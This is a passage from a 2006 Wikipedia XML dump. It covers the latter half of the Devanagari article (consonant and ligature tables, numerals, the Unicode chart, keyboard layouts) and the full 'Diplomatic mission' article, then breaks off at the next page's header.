* In Sanskrit and in some other dialects of Hindi (as well as in a few words in Standard Hindi), the vowel {{Unicode|ऐ}} is pronounced as a diphthong {{IPA|/ əi /}} or / ai / rather than / e: /. Similarly, the vowel {{Unicode|औ}} is pronounced in some words as the diphthong {{IPA|/ əu /}} or / au / rather than {{IPA|/ ɔ: /}}. Other than these, Hindi does not have true diphthongs—two vowels might occur sequentially but then they are pronounced as two syllables (a glide might come in between while speaking). Otherwise in Standard Hindi, {{Unicode|ऐ}} (ai) is long [[near-open front unrounded vowel]]: / æ / as ''a'' in c'''a'''t; {{Unicode|औ}} (au) is long [[open-mid back rounded vowel]]: / ɔː / as ''au'' in c'''au'''ght.
* The short [[open-mid front unrounded vowel]] ({{IPA|/ ɛ /}}: as ''e'' in g'''e'''t), does not have any symbol or diacritic in devanagari script. It occurs only as an allophonic variant of [[schwa]] (in place word-middle a, determined only by convention) in certain words in the Standard kharoboli dialect of Hindi. E.g., the orthography dictates that {{Unicode|रहना}} must be pronounced as {{IPA|/ rəhənα: /}}, but it is actually pronounced as {{IPA|/ rɛhnα: /}}. It also occurs in loanwords from English, where it might be accorded a new vowel symbol of {{Unicode|ऍ }}(''chandra'': {{Unicode|पॅ}}). The short open-mid back rounded vowel ({{IPA|/ ɔ /}}: as ''o'' in h'''o'''t), does not exist in Hindi at all, other than for English loanwords. In orthography, a new symbol has been invented for it: {{Unicode|ऑ (पॉ)}}.
* Unicode transliteration scheme differs for some characters from IAST scheme. The differences are: ā→aa, ī→ii, ū→uu, {{Unicode|ṛ}}→rr, {{Unicode|ḹ}}→ll.

===Consonants===
The table below shows the traditional listing of the Sanskrit consonants with the (nearest) equivalents in English/Spanish. The parentheses give the corresponding transliteration (of the consonant alone) in IAST scheme—the most popular one. Each consonant shown below is deemed to be followed by the neutral vowel [[schwa]] ({{IPA|/ ə /}}), and is named in the table as such.

{|class=&quot;wikitable&quot;
|-bgcolor=&quot;#EFEFEF&quot;
|align=&quot;center&quot; colspan=&quot;6&quot;|'''Plosives'''
|-
!
![[Unaspirated]]&lt;br&gt;[[Voiceless]]
![[Aspirated]]&lt;br&gt;[[Voiceless]]
![[Unaspirated]]&lt;br&gt;[[Voiced]]
![[Aspirated]]&lt;br&gt;[[Voiced]]
![[Nasal]]
|-align=&quot;center&quot;
|[[Velar]]
|&amp;#2325; (k)&lt;br&gt;{{IPA|/ kə /}}; English: s'''k'''ip
|&amp;#2326; (kh)&lt;br&gt;{{IPA|/ k&lt;sup&gt;h&lt;/sup&gt;ə /}}; English: '''c'''at
|&amp;#2327; (g)&lt;br&gt;{{IPA|/ gə /}}; English: '''g'''ame
|&amp;#2328; (gh)&lt;br&gt;{{IPA|/ g&lt;sup&gt;ɦ&lt;/sup&gt;ə /}}; Aspirated / g /
|&amp;#2329; (ṅ)&lt;br&gt;{{IPA|/ ŋə /}}; English: ri'''ng'''
|-align=&quot;center&quot;
|[[Palatal]]
|&amp;#2330; (c)&lt;br&gt;{{IPA|/ cə /}}; ≈English: '''ch'''at
|&amp;#2331; (cha)&lt;br&gt;{{IPA|/ c&lt;sup&gt;h&lt;/sup&gt;ə /}}; Aspirated / c /
|&amp;#2332; (j)&lt;br&gt;{{IPA|/ ɟə /}}; ≈English: '''j'''am
|&amp;#2333; (jh)&lt;br&gt;{{IPA|/ ɟ&lt;sup&gt;ɦ&lt;/sup&gt;ə /}}; Aspirated {{IPA|/ ɟ /}}
|&amp;#2334; (ñ)&lt;br&gt;{{IPA|/ ɲə /}}; English: fi'''n'''ch
|-align=&quot;center&quot;
|[[Retroflex]]
|&amp;#2335; (ṭ)&lt;br&gt;{{IPA|/ ʈə /}}; American Eng: hur'''t'''ing
|&amp;#2336; (ṭh)&lt;br&gt;{{IPA|/ ʈ&lt;sup&gt;h&lt;/sup&gt;ə /}}; Aspirated {{IPA|/ ʈ /}}
|&amp;#2337; (ḍ)&lt;br&gt;{{IPA|/ ɖə /}}; American Eng: mur'''d'''er
|&amp;#2338; (ḍh)&lt;br&gt;{{IPA|/ ɖ&lt;sup&gt;ɦ&lt;/sup&gt;ə /}}; Aspirated {{IPA|/ ɖ /}}
|&amp;#2339; (ṇ)&lt;br&gt;{{IPA|/ ɳə /}}; American Eng: hun'''t'''er
|-align=&quot;center&quot;
|Apico-[[Dental]]
|&amp;#2340; (t)&lt;br&gt;{{IPA|/ t̪ə /}}; Spanish: '''t'''oma'''t'''e
|&amp;#2341; (th)&lt;br&gt;{{IPA|/ t̪&lt;sup&gt;h&lt;/sup&gt;ə /}}; Aspirated {{IPA|/ t̪ /}}
|&amp;#2342; (d)&lt;br&gt;{{IPA|/ d̪ə /}}; Spanish: '''d'''on'''d'''e
|&amp;#2343; (dh)&lt;br&gt;{{IPA|/ d̪&lt;sup&gt;ɦ&lt;/sup&gt;ə /}}; Aspirated {{IPA|/ d̪ /}}
|&amp;#2344; (n)&lt;br&gt;{{IPA|/ nə /}}; English: '''n'''ame
|-align=&quot;center&quot;
|[[Labial]]
|&amp;#2346; (p)&lt;br&gt;{{IPA|/ pə /}}; English: s'''p'''in
|&amp;#2347; (ph)&lt;br&gt;{{IPA|/ p&lt;sup&gt;h&lt;/sup&gt;ə /}}; English: '''p'''it
|&amp;#2348; (b)&lt;br&gt;{{IPA|/ bə /}}; English: '''b'''one
|&amp;#2349; (bh)&lt;br&gt;{{IPA|/ b&lt;sup&gt;ɦ&lt;/sup&gt;ə /}}; Aspirated / b /
|&amp;#2350; (m)&lt;br&gt;{{IPA|/ mə /}}; English: '''m'''ine
|-
|}

{|class=&quot;wikitable&quot;
|-bgcolor=&quot;#EFEFEF&quot;
|align=&quot;center&quot; colspan=&quot;5&quot;|'''Non-Plosives/Sonorants'''
|-
!
![[Palatal]]
![[Retroflex]]
![[Dental]]/&lt;br&gt;[[Alveolar]]
![[Velar]]/&lt;br&gt;[[Glottal]]
|-align=&quot;center&quot;
|[[Approximant]]
|&amp;#2351; (y)&lt;br&gt;{{IPA|/ jə /}}; English: '''y'''ou
|&amp;#2352; (r)&lt;br&gt;{{IPA|/ rə /}}; American Eng: tea'''r'''ing
|&amp;#2354; (l)&lt;br&gt;{{IPA|/ lə /}}; English: '''l'''ove
|&amp;#2357; (v)&lt;br&gt;{{IPA|/ ʋə /}}; English: '''v'''ase
|-align=&quot;center&quot;
|[[Sibilant]]/&lt;br&gt;[[Fricative]]
|&amp;#2358; (ś)&lt;br&gt;{{IPA|/ ʃə /}}; English: '''sh'''ip
|&amp;#2359; (ṣ)&lt;br&gt;{{IPA|/ ʂə /}}; Retroflex form of {{IPA|/ ʃ /}}
|&amp;#2360; (s)&lt;br&gt;{{IPA|/ sə /}}; English: '''s'''ame
|&amp;#2361; (h)&lt;br&gt;{{IPA|/ ɦə /}}; ≈English '''h'''ome
|-
|}

At the end of the traditional table of alphabets, three cosonantal clusters are also added: &amp;#2325;&amp;#2381;&amp;#2359; {{IPA|/kʃə/}} (in Hindi), &amp;#2340;&amp;#2381;&amp;#2352; {{IPA|/t̪rə/}} and &amp;#2332;&amp;#2381;&amp;#2334; {{IPA|/gjə/}} (in Hindi). Other than these, sounds borrowed from the other languages like Persian and Arabic are written with a dot (''bindu'' or ''nukta'') beneath the nearest approximate alphabet. They are not included in the traditional listing. Many native Hindi speakers, especially those who come from rural backgrounds and do not speak really good khariboli or Urdu, confused these sounds (except {{IPA|/ɽ/ and /ɽ&lt;sup&gt;ɦ&lt;/sup&gt;/}}) and pronounce them as the nearest equivalents in Sanskritized Hindi (listed in column 4). These are:

{|border=&quot;2&quot;
|align=&quot;center&quot; colspan=&quot;4&quot;|'''Extra sounds'''
|-
!Symbol
!IPA Pronunciation and name
!English (etc.) equiv.
!Confused with:
|-align=&quot;center&quot;
|&amp;#2392;
|{{IPA|/ qə /}} [[voiceless uvular plosive]]
|Arabic: '''Q'''ur'an
|/ k /
|-align=&quot;center&quot;
|&amp;#2398;
|{{IPA|/ fə /}} [[voiceless labiodental fricative]]
|English: '''f'''un
|{{IPA|/ p&lt;sup&gt;h&lt;/sup&gt; /}}
|-align=&quot;center&quot;
|&amp;#2393;
|{{IPA|/ xə /}} [[voiceless velar fricative]]
|German: do'''ch'''
|{{IPA|/ k&lt;sup&gt;h&lt;/sup&gt; /}}
|-align=&quot;center&quot;
|&amp;#2394;
|{{IPA|/ ʁə /}} [[voiced velar fricative]]
|Persian: Mu'''gh'''al
|/ g /
|-align=&quot;center&quot;
|&amp;#2395;
|{{IPA|/ zə /}} [[voiced alveolar fricative]]
|English: '''z'''oo
|{{IPA|/ ɟ / ''or'' / dʒ /}}
|-align=&quot;center&quot;
|&amp;#2396;
|{{IPA|/ ɽə /}} [[unaspirated]] [[retroflex flap]]
|&lt;none&gt;
|
|-align=&quot;center&quot;
|&amp;#2397;
|{{IPA|/ ɽ&lt;sup&gt;ɦ&lt;/sup&gt;ə /}} [[aspirated]] [[retroflex flap]]
|&lt;none&gt;
|
|-
|}

Additional points:
*The &quot;r&quot; of Sanskrit is as in Standard American English. In modern Sanskrit pronunciation, the vowel &quot;ṛ&quot; is pronounced as / ri /. In Hindi, / r / is as pronounced in Spanish pe'''rr'''o.
*There is no retroflex flap in Sanskrit. In modern Hindi and other Indo-Aryan languages, they have sprung up as the allophonic flap variants of Sanskrit's simple voiced retroflex plosives. The / ɳ / (ṇ or ण) in Sanskrit is not a flap but a simple nasal stop, although it is pronounced by modern pundits while chanting as a nasal variant of the voiced retroflex flap. Hindi has two proper retroflex flaps. 
*Aspiration is actually a puff of breath that may follow a plosive consonant. English speakers could try pronouncing the words &quot;kite&quot;, &quot;take&quot;, &quot;chip&quot; and &quot;pat&quot; with a greater-than-usual puff of breath after the first consonant. The corresponding unaspirated plosives must be pronounced with no significant puff of breath at all.
*For practicing the voiced aspirates, one could try: &quot;drag him&quot;, &quot;said him&quot;, &quot;enrage him&quot;, &quot;grab him&quot;. The voiced aspirated plosives (also called as murmur stops) are extremely important and frequent in Sanskrit. Sanskrit (and its daughters) is the only language that has faithfully preserved these original Proto-Indo-European stops.
*The dental consonants in Sanskrit are as in Spanish or French. They can be pronounced by pronouncing / t / and / d / (of English) by pressing the tip of the tongue against the back of the teeth rather than against the back of the alveolar ridge as done by English speakers. The normal &quot;t&quot; and &quot;d&quot; in IAST transliteration are the dental stops; and they occur much, much more frequently than the retroflex stops.
*The retroflex consonants are the most difficult to pronounce. They are pronounced by curling the tongue such that its tip touches the roof of the mouth, like how the Americans pronounce their &quot;r&quot;. The retroflex flaps are pronounced in a similar way, by bringing the tongue's tip to the roof of the mouth and giving it a sharp flap downwards. However, bringing the tip of the tongue a bit above the normal alveolar ridge would also work fine. The normal alveolar plosives of English / t / and / d / do not exist as such in Sanskrit/Hindi. 
*The palatal plosives of Sanskrit/Hindi do not have a sharp frictional sound following them, as what happend in English '''ch'''ips and '''j'''am. These are more of pure plosives than affricates.
*Sanskrit/Hindi has no / v /. Its nearest equivalent is / ʋ /, which is very close to / v /, but does not a friction or buzzing sound associated with it. But in consonant clusters, this may allophonically change to / w /.
*The palatal sibilant of Sanskrit (IAST: ś) is very close to like the English ''sh'' in '''sh'''ip (although the Sanskrit phoneme is the voiceless alveolo-palatal fricative / ɕ /) while the English phoneme is the voiceless postalveolar fricative / ʃ / with lip rounding). Today, speakers of Sanskrit vary the palatal fricative from / ɕ / to / ʃ /. In Hindi, it is always pronounced as in '''sh'''ip.
*The retroflex sibilant / ʂ / is pronounced like / ʃ /, but with the tongue curled upwards towards the roof of the mouth. In Mādhyandini branch of Yajurveda, this phoneme is allowed to be pronounced at certain places as / kh /. In Hindi, this is pronounced as the English ''sh'' in '''sh'''ip.
*The Sanskrit / ɦ / is a voiced allophone of the normal h. In Hindi, it is pronounced as in '''h'''ome.
Another consonant is &lt;span style=&quot;font-size:14pt;&quot;&gt;ळ&lt;/span&gt; is not used in [[Hindi language|Hindi]].  It is retroflex, and used in [[Vedic Sanskrit]], and [[Marathi language|Marathi]].

==== [[Ligature (typography)|Ligatures]] ====
Consonant clusters of two or more phonemes are realized by combining the aksharas into ligatures. Typically, the preceding akshara loses its vertical stroke and is put in direct contact with the succeeding one. In cases of aksharas that do not have vertical strokes in their independent form, the following aksharas are usually placed underneath the preceding one. In some cases, the ligatures take forms not readily recognizable as composed of the individual aksharas (e.g. &amp;lt;jñ&amp;gt;). Consonant clusters involving &amp;lt;r&amp;gt; are treated as a special case: preceding &amp;lt;r-&amp;gt; is realized as a right-facing hook above the following akshara, and following &amp;lt;-r&amp;gt; appears as a slanted stroke attached to the vertical stroke of the preceding akshara. Similarly for a cluster /XYZa/, both X and Y would be &quot;halved&quot;. There are many variants for this consonant cluster writing in devanagari script. The most common system is shown below for the traditional table. Here the second vowel is taken to be /n/, followed by the [[schwa]].

{|border=&quot;2&quot;
|-bgcolor=&quot;#EFEFEF&quot;
|-align=&quot;center&quot; 
|'''ka-group'''||&amp;#2325;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ knə /}} || &amp;#2326;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ k&lt;sup&gt;h&lt;/sup&gt;nə /}} ||&amp;#2327;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ gnə /}} ||&amp;#2328;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ g&lt;sup&gt;ɦ&lt;/sup&gt;nə /}} ||&amp;#2329;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ ŋnə /}} 
|-align=&quot;center&quot;
|'''cha-group'''||&amp;#2330;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ cnə /}} ||&amp;#2331;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ c&lt;sup&gt;h&lt;/sup&gt;nə /}} ||&amp;#2332;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ ɟnə/ }} ||&amp;#2333;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ ɟ&lt;sup&gt;ɦ&lt;/sup&gt;nə /}} ||&amp;#2334;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ ɲnə /}} 
|-align=&quot;center&quot;
|'''Ta-group'''||&amp;#2335;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ ʈnə /}} ||&amp;#2336;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ ʈ&lt;sup&gt;h&lt;/sup&gt;nə /}} ||&amp;#2337;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ ɖnə /}} ||&amp;#2338;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ ɖ&lt;sup&gt;ɦ&lt;/sup&gt;nə /}} ||&amp;#2339;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ ɳnə /}} 
|-align=&quot;center&quot;
|'''ta-group'''||&amp;#2340;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ t̪nə /}} ||&amp;#2341;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ t̪&lt;sup&gt;h&lt;/sup&gt;nə /}} ||&amp;#2342;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ d̪nə /}} ||&amp;#2343;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ d̪&lt;sup&gt;ɦ&lt;/sup&gt;nə /}} ||&amp;#2344;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ nnə /}} 
|-align=&quot;center&quot;
|'''pa-group'''||&amp;#2346;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ pnə /}} ||&amp;#2347;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ p&lt;sup&gt;h&lt;/sup&gt;nə /}} ||&amp;#2348;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ bnə /}} ||&amp;#2349;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ b&lt;sup&gt;ɦ&lt;/sup&gt;nə /}} ||&amp;#2350;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ mnə /}} 
|-align=&quot;center&quot;
|'''ya-group'''||&amp;#2351;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ ynə /}} ||&amp;#2352;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ rnə /}} ||&amp;#2354;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ lnə /}} ||&amp;#2357;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ ʋnə /}} || 
|-align=&quot;center&quot;
|'''va-group'''||&amp;#2358;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ ɕnə /}} ||&amp;#2359;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ ʂnə /}} ||&amp;#2360;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ snə /}} ||&amp;#2361;&amp;#2381;&amp;#2344; &lt;br&gt;{{IPA|/ ɦnə /}} || 
|-
|}



===Accent marks===
[[Vedic Sanskrit]] is written with [[pitch accent]] marks, ''[[svarita]]'' and ''[[udatta]]''.

===Numerals===
:''See also [[Indian numerals]].''

{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot;
|-
|+ '''Devanagari numerals'''
|- style=&quot;font-size:14pt;&quot; 
| ० || १ || २ || ३ || ४
| ५ || ६ || ७ || ८ || ९
|-
| 0 || 1 || 2 || 3 || 4
| 5 || 6 || 7 || 8 || 9
|-
|}
&lt;/div&gt;
See also: [[Brahmi numerals]], [[Hindu-Arabic numeral system]].

== Devanagari in Unicode ==
The [[Unicode]] range for Devanagari is U+0900 .. U+097F.
Gray blocks indicate characters that are undefined.

{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;5&quot; style=&quot;font-size: large; border-collapse:collapse;&quot;
|- style=&quot;font-size: small; text-align:center;&quot;
| &amp;nbsp; || 0 || 1 || 2 || 3 || 4 || 5 || 6 || 7 || 8 || 9 || A || B || C || D || E || F
|-
| style=&quot;font-size: small;&quot; | U+090x
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; || ँ || ं || ः || ऄ || अ || आ || इ || ई || उ || ऊ || ऋ || ऌ || ऍ || ऎ || ए
|-
| style=&quot;font-size: small;&quot; | U+091x
| ऐ || ऑ || ऒ || ओ || औ || क || ख || ग || घ || ङ || च || छ || ज || झ || ञ || ट
|-
| style=&quot;font-size: small;&quot; | U+092x
| ठ || ड || ढ || ण || त || थ || द || ध || न || ऩ || प || फ || ब || भ || म || य
|-
| style=&quot;font-size: small;&quot; | U+093x
| र || ऱ || ल || ळ || ऴ || व || श || ष || स || ह || bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; || bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; || ़ || ऽ || ा || ि
|-
| style=&quot;font-size: small;&quot; | U+094x
| ी || ु || ू || ृ || ॄ || ॅ || ॆ || े || ै || ॉ || ॊ || ो || ौ || ् || bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; ||bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
|-
| style=&quot;font-size: small;&quot; | U+095x
| [[Aum|ॐ]] || ॑ || ॒ || ॓ || ॔ || bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; || bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; || bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; || क़ || ख़ || ग़ || ज़ || ड़ || ढ़ || फ़ || य़
|-
| style=&quot;font-size: small;&quot; | U+096x
| ॠ || ॡ || ॢ || ॣ || । || ॥ || ० || १ || २ || ३ || ४ || ५ || ६ || ७ || ८ || ९
|-
| style=&quot;font-size: small;&quot; | U+097x
| ॰ || bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; || bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; || bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; || bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; || bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; || bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; || bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; || bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; || bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; || bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; || bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; || bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; || bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; || bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp; || bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
|-
|}

==Devanagari Keyboard Layouts==
===INSCRIPT===
[[Image:Devanagari_INSCRIPT.png|frame|none|INSCRIPT Keyboard Layout (Windows, Solaris, Java)]]
===Typewriter===
[[Image:Hindi_typewriter.jpg|frame|none|Standard typewriter keyboard layout used in India]]
===Phonetic===
[[Image:Bolnagri map.png|frame|none|Bolnagri phonetic keyboard layout for Linux]]
See [http://www.indlinux.org/wiki/index.php/BolNagri| bolnagri home page]

==Software==
* [[Apple Type Services for Unicode Imaging]] - Macintosh
* [[Graphite (Renderer)|Graphite]] - open source ([[SIL International|SIL]])
* [[Pango]] - open source ([[Gnome (linux)|Gnome]])
* [[Uniscribe]] - Windows
* [[WorldScript]] - Macintosh, replaced by the Apple Type Services for Unicode Imaging, mentioned above

== External links ==
{{book}}
* [http://www.mpp.org.np/downloads.php Resources for typing in the Nepali language in Devanagari]
* [http://tdil.mit.gov.in/isciiapril03.pdf The official Devanagri Document (pdf) from Govt. Of India.]
* [http://www.sulekha.com/expressions/column.asp?cid=305897 On history of Indian writing]


===Electronic resources===

* [http://www.chhahari.com/unicode Chhahari Syllabic Unicode Editor]
* [http://labnol.blogspot.com/2005/06/free-software-tools-and-fonts-cd.html Request for a free hindi Fonts and devanagari Tools CD from the Government of India] 
* [http://girish.co.in/projects/indian_languages.html Devanagari Tools: Wiki Sandbox, Devanagari Mail, Yahoo/Google Search  &amp; Devanagari Transliteration] 
* [http://devanaagarii.net/ Devanagari : all about using Devanagari on computers] 
* [http://www.ncst.ernet.in/projects/indix/ IndiX, Indian language support for Linux], a site by the Indian [[National Centre for Software Technology]]
* [http://www.unicode.org/charts/PDF/U0900.pdf Unicode Chart for Devanagari]
* [http://www.geocities.com/matthewblackwell/hindiEditor.html Devanagari editor]
* [http://devanaagarii.net/ Resources for viewing and editing Devanagari]
* [http://www.alanwood.net/unicode/devanagari.html Unicode support for Web browsers]
* [http://www.avashy.com/hindiscripttutor.htm Hindi/Devanagari Script Tutor]
* [http://www.iit.edu/~laksvij/language/hindi.html Romanized to Unicode Devanagari transliterator]
* [http://lists.sarovar.org/cgi-bin/mailman/listinfo/devanaagarii-lipi Devanagari mailing list and discussion group]
*[http://groups.yahoo.com/group/deonagari/ Discussion Group and email List Devanagari.]

[[Category:Abugida writing systems]]
[[Category:Alphabetic writing systems]]

{{Link FA|fr}}

[[bg:Деванагари]]
[[br:Devanagari]]
[[ca:Devanagari]]
[[cs:Devanágarí]]
[[de:Devanagari]]
[[es:Devanagari]]
[[eo:Nagario]]
[[fr:Devanāgarī]]
[[gl:Devanāgarī]]
[[ko:데바나가리 문자]]
[[hi:देवनागरी]]
[[id:Aksara Devanagari]]
[[it:Devanagari]]
[[ks:देवनागरी]]
[[mr:देवनागरी]]
[[nl:Devanagari]]
[[ja:デーヴァナーガリー]]
[[no:Devanagari]]
[[pl:Pismo dewanagari]]
[[pt:Devanagari]]
[[ru:Деванагари]]
[[sa:देवनागरी]]
[[fi:Devanagari]]
[[sv:Devanagari]]
[[ta:தேவநாகரி]]
[[zh:天城文]]</text>
    </revision>
  </page>
  <page>
    <title>Diplomatic mission</title>
    <id>8970</id>
    <revision>
      <id>42049903</id>
      <timestamp>2006-03-03T13:21:54Z</timestamp>
      <contributor>
        <ip>192.38.64.200</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Schild-Deutsche Botschaft.jpg|thumb|200px|right|Seal on the building of German Embassies. &lt;br&gt;Text: &quot;Federal Republic of Germany - Embassy&quot;]]
[[Image:Australias indonesian embassy.jpg|thumb|250px|right|Indonesian Embassy in Australia]]
A '''diplomatic mission''' is a group of people from one [[state]] present in another state to represent the sending state in the receiving state.  In practice, a diplomatic mission usually denotes the '''permanent mission''', namely the office of a country's diplomatic representatives in the [[capital]] city of another country. Under [[international law]], diplomatic missions enjoy an [[extraterritoriality|extraterritorial status]] and thus, although remaining part of the host country's territory, they are exempt from local law and in almost all respects treated as being part of the territory of the home country. They are also only required to pay taxes equal to their respective countries' guidelines.

==Naming==
A permanent diplomatic mission is usually known as an '''embassy''', and the head of the mission is known as an [[ambassador]].  Missions between [[Commonwealth of Nations|Commonwealth]] countries are known as '''High Commissions''' and their heads are [[High Commissioner]]s.  All missions to the [[United Nations]] are known simply as '''Permanent Missions''', and the head of such a mission is typically both a ''Permanent Representative'' and an ambassador.  Some countries have more idiosyncratic naming for their missions and staff: a [[Holy See|Vatican]] mission is headed by a [[Nuncio]] and consequently known as an ''Apostolic Nunciature'', while [[Libya]]'s missions were for a long time known as ''People's Bureaus'' and the head of the mission was a ''Secretary''.  (Libya has since switched back to standard nomenclature.)

In the past a diplomatic mission headed by a lower ranking official (an ''envoy'' or ''minister resident'') was known as a '''legation'''. Since the ranks of envoy and minister resident are effectively obsolete, the designation of ''legation'' is no longer used today. (See [[diplomatic rank]].)

In cases of dispute, it is not uncommon for a country to recall its head of mission as a sign of its displeasure.  This is less drastic than cutting diplomatic relations completely, and the mission will still continue operating more or less normally, but it will now be headed by a [[chargé d'affaires]] who may have limited powers.  Note that for the period of succession between two heads of missions, a ''chargé d'affaires per interim'' may be appointed as caretaker; this does not imply any hostility to the host country.

A [[Consul (representative)|Consulate]] is similar to (but not the same as) a diplomatic office, but with focus on dealing with individual persons and businesses, as defined by the [[Vienna Convention on Consular Relations]]. A Consulate is generally a representative of the Embassy in locales outside of the capital city. For instance, The British Embassy to the United States is in [[Washington, D.C.]], and there are British Consulates in Los Angeles, New York City, Houston, etc. 

The term &quot;embassy&quot; is often used to refer to the building or compound housing an ambassador's offices and staff.  Technically, &quot;embassy&quot; refers to the diplomatic delegation itself, while the office building in which they work is known as a '''chancery''', but this distinction is rarely used in practice.  Ambassadors reside in [[ambassadorial residence]]s, which enjoy the same rights as missions.

==Role==
The role of such a mission is to protect in the receiving State the interests of the sending State and of its nationals, within the limits permitted by international law; negotiating with the Government of the receiving State as directed by the sending State; ascertaining by lawful means conditions and developments in the receiving State, and reporting thereon to the Government of the sending State; promoting friendly relations between the sending State and the receiving State, and developing their economic, cultural and scientific relations.

Between members of the Commonwealth of Nations embassies sometimes have an additional role. It is generally expected that an embassy of a Commonwealth country in a non-Commonwealth country will do its best to provide diplomatic services to citizens from other Commonwealth countries if the citizen's country does not have an embassy in that country. (eg. If a South African citizen found him/herself in need of the services of an embassy in Thailand, it is generally understood that he/she could go to the Canadian Embassy and be provided with some help in obtaining the necessary services.) The same kind of procedure is also followed multilaterally by the memberstates of [[European Union]]. European citizens in need of consular help in a country without diplomatic or consular representation of their own country may turn to any consular or diplomatic mission of another EU memberstate.

The rights and immunities (such as [[diplomatic immunity]]) of diplomatic missions are codified in the [[Vienna Convention on Diplomatic Relations]].

==Non-recognized states==

Nations that are [[Non-recognized nations|not recognized]] have legations overseas but these are not recognized as having official diplomatic status as defined by the Vienna Convention.  These ''de facto embassies'' are usually referred to as '''Representative Offices'''. Some examples of these types of missions:  the [[TRNC Representative Office to the United States|Representative Office]] of the [[Turkish Republic of Northern Cyprus]] in Washington, D.C.; [[Somaliland]]'s representatives in [[London]], [[Addis Ababa]], [[Rome]], and Washington, D.C.; the [[Nagorno-Karabakh|Republic of Nagorno-Karabakh]] has a representative office in Washington, D.C.;  the [[Taipei Economic and Cultural Office]] in Washington, D.C. (representing the [[Republic of China]]); and the [[American Institute in Taiwan]] (representing the United States in the Republic of China).  Under United States law, such offices are regarded by the [[State Department]] officially as 'information centers' and the persons working in them do not have diplomatic visas, nor are [[Letter of Credence|credentials]] from their chiefs of mission accepted.

==See also==
* [[Diplomacy]]
* [[:Category:Embassies|List of embassies and high commissions]]

==External links==
* [http://www.embassypages.com/ embassypages.com - Embassies and Consulates Around the World]
* [http://www.ediplomat.com/dc/diplomatic_missions.htm eDiplomat.com: Diplomatic Missions]
* [http://www.flickr.com/groups/embassies/ Flickr group ''Embassies worldwide''] with photos of embassies from all over the world
* [http://www.embassyworld.com/ Embassy World]
* [http://www.emb.com/ Embassy network]

[[Category:Diplomacy]]

[[bg:Дипломатическа мисия]]
[[da:Ambassade]]
[[de:Diplomatische Vertretung]]
[[es:Embajada]]
[[fr:Ambassade]]
[[he:שגרירות]]
[[nl:Ambassade]]
[[ja:在外公館]]
[[pl:Misja dyplomatyczna]]
[[simple:High Commision]]
[[fi:Suurlähetystö]]
[[sv:Ambassad]]
[[zh:外交代表機構]]</text>
    </revision>
  </page>
  <page>
    <title>DEC Alpha</title>
    <id>8971</id>
    <revision>
      <id>34894748</id>
      <timestamp>2006-01-12T15:26:24Z</timestamp>
      <contributor>
        <ip>193.77.154.33</ip>
      </contributor>
      <comment>/* External links */</comment>
